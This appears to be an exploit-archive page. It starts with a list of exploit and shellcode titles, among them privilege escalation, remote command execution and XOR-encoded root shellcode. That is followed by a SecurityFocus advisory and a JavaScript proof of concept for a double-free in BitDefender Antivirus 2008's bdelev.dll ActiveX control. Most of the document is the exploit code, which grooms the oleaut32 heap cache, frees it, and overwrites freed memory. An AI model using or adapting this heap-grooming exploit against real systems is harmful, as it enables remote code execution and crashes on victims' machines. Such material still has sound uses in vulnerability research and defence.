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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
46 lines
No EOL
1.7 KiB
JavaScript
46 lines
No EOL
1.7 KiB
JavaScript
source: https://www.securityfocus.com/bid/26824/info
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A BitDefender Antivirus 2008 ActiveX control is prone a double-free vulnerability because of a flaw in the way that the 'bdelev.dll' library handles certain object data prior to returning it.
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Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.
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this.Oleaut32 = new Array();
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this.Oleaut32["cache"] = new Array();
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this.base = "A";
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while (base.length<0x8000) base+= base;
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this.base = base.substring (0, (0x8000-6)/2);
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CollectGarbage();
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3
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// Fill the cache with block of maximum size
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for (i=0;i<6;i++)
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{
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this.Oleaut32["cache"].push(base.substring (0, (0x20-6)/2));
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this.Oleaut32["cache"].push(base.substring (0, (0x40-6)/2));
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this.Oleaut32["cache"].push(base.substring (0, (0x100-6)/2));
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this.Oleaut32["cache"].push(base.substring (0, (0x8000-6)/2));
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}
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this.bitdefender = new ActiveXObject('bdelev.ElevatedHelperClass.1');
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// free cache of oleaut32
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delete Oleaut32["cache"];
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CollectGarbage();
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// POC
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for (pid=0;pid<4000;pid+=4)
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{
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try
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{
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// Find first Module_Path
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var Module_Path = bitdefender.Proc_GetName_PSAPI (pid);
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// Display the original string in free block memory
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///////////////////////////////////////////////////
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alert (Module_Path); -> C:\Windows\... (exemple)
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/////////////////////
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// Uses free block
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var y = base.substring(0,Module_Path.length);
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// Display the result of the crushing of the memory
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///////////////////////////////////////////////////
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alert (Module_Path); -> AAAAAAAAAAAA...
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/////////////////////
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break;
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}
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catch(e) {}
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} |